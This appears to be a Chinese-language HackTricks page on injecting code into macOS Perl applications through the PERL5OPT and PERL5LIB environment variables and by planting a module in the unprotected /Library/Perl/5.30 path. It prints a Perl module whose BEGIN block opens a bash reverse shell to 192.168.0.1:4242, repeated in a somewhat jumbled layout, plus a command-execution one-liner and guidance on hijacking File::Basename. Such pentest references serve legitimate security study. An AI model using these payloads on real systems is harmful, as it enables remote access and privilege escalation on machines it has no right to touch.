hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md

4.5 KiB
Raw Blame History

macOS Perl 应用程序注入

从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

通过 PERL5OPTPERL5LIB 环境变量

使用环境变量 PERL5OPT 可以使 perl 执行任意命令。
例如,创建以下脚本:

{% code title="test.pl" %}

#!/usr/bin/perl
print "Hello from the Perl script!\n";
现在**导出环境变量**并执行**perl**脚本:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
package pmod;

use strict;
use warnings;

BEGIN {
    system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.1/4242 0>&1'");
}

1;

{% endcode %}

这里我们创建了一个Perl模块例如/tmp/pmod.pm

{% code title="/tmp/pmod.pm" %}

package pmod;

use strict;
use warnings;

BEGIN {
    system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.1/4242 0>&1'");
}

1;

{% endcode %}

#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
然后使用环境变量:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod

通过依赖项

可以列出Perl运行时的依赖项文件夹顺序

perl -e 'print join("\n", @INC)'

将返回类似以下内容:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

有些返回的文件夹甚至不存在,但是 /Library/Perl/5.30 确实存在,它没有SIP 保护并且位于受SIP保护的文件夹之前。因此有人可以滥用该文件夹在其中添加脚本依赖项以便高权限的Perl脚本将加载它。

{% hint style="warning" %} 然而,请注意,您需要以root身份写入该文件夹,而且现在您会收到这个TCC提示 {% endhint %}

例如,如果脚本正在导入 use File::Basename;,那么创建 /Library/Perl/5.30/File/Basename.pm 将可以执行任意代码。

参考资料

从零开始学习AWS黑客攻击直到成为专家通过 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式